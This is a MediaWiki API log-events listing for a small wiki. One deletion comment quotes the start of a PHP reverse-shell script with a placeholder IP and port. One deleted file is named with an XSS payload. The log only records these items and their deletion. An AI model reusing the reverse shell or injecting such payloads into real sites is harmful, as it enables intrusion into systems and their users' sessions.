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<?xml version="1.0"?>
<api>
  <query-continue>
    <logevents lecontinue="20241017090621|15934" />
  </query-continue>
  <query>
    <logevents>
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        <block flags="nocreate" duration="infinite" />
      </item>
      <item logid="15943" ns="2" title="User:Fortesting" pageid="0" logpage="0" userid="9900" type="newusers" action="create2" user="ScottN1VG" timestamp="2024-10-25T12:35:02Z" comment="control" />
      <item logid="15942" ns="2" title="User:ScottN1VG" pageid="3334" logpage="3334" type="rights" action="rights" user="ScottN1VG" timestamp="2024-10-24T07:54:05Z" comment="">
        <rights new="sysop" old="bureaucrat, sysop" />
      </item>
      <item logid="15941" ns="2" title="User:ScottN1VG" pageid="3334" logpage="3334" type="delete" action="restore" user="ScottN1VG" timestamp="2024-10-18T05:57:24Z" comment="1 revision restored" />
      <item logid="15940" ns="2" title="User:ScottN1VG" pageid="3334" logpage="3323" type="delete" action="delete" user="ScottN1VG" timestamp="2024-10-18T05:56:31Z" comment="content was: &quot;set_time_limit (0); $VERSION = &quot;1.0&quot;; $ip = &#039;192.168.31.237&#039;;  // CHANGE THIS $port = 1234;       // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a...&quot; (and the only contributor was &quot;[[Special:Contributions/ScottN1VG|ScottN1VG]]&quot;)" />
      <item logid="15939" ns="6" title="File:&quot;--img src=x onerror=alert(&quot;Hey&quot;)-.png" pageid="0" logpage="3324" type="delete" action="delete" user="ScottN1VG" timestamp="2024-10-18T05:52:11Z" comment="" />
      <item logid="15938" ns="6" title="File:Screenshot 2024-09-30 215925.png" pageid="0" logpage="3328" type="delete" action="delete" user="ScottN1VG" timestamp="2024-10-18T05:51:49Z" comment="" />
      <item logid="15937" ns="6" title="File:Low-end EF3 damage to a home in Virginia Beach, Virginia.jpg" pageid="3333" logpage="3333" img_sha1="38xe0lnwpeqw0zgkfp3oi802fwqltbh" img_timestamp="2024-10-18T05:20:47Z" type="upload" action="overwrite" user="ScottN1VG" timestamp="2024-10-18T05:20:47Z" comment="" />
      <item logid="15936" ns="6" title="File:Low-end EF3 damage to a home in Virginia Beach, Virginia.jpg" pageid="3333" logpage="3333" img_sha1="38xe0lnwpeqw0zgkfp3oi802fwqltbh" img_timestamp="2024-10-18T05:20:45Z" type="upload" action="upload" user="ScottN1VG" timestamp="2024-10-18T05:20:45Z" comment="" />
      <item logid="15935" ns="6" title="File:Sample-png-image-100kb.png" pageid="0" logpage="3332" type="delete" action="delete" user="ScottN1VG" timestamp="2024-10-17T09:14:01Z" comment="" />
    </logevents>
  </query>
</api>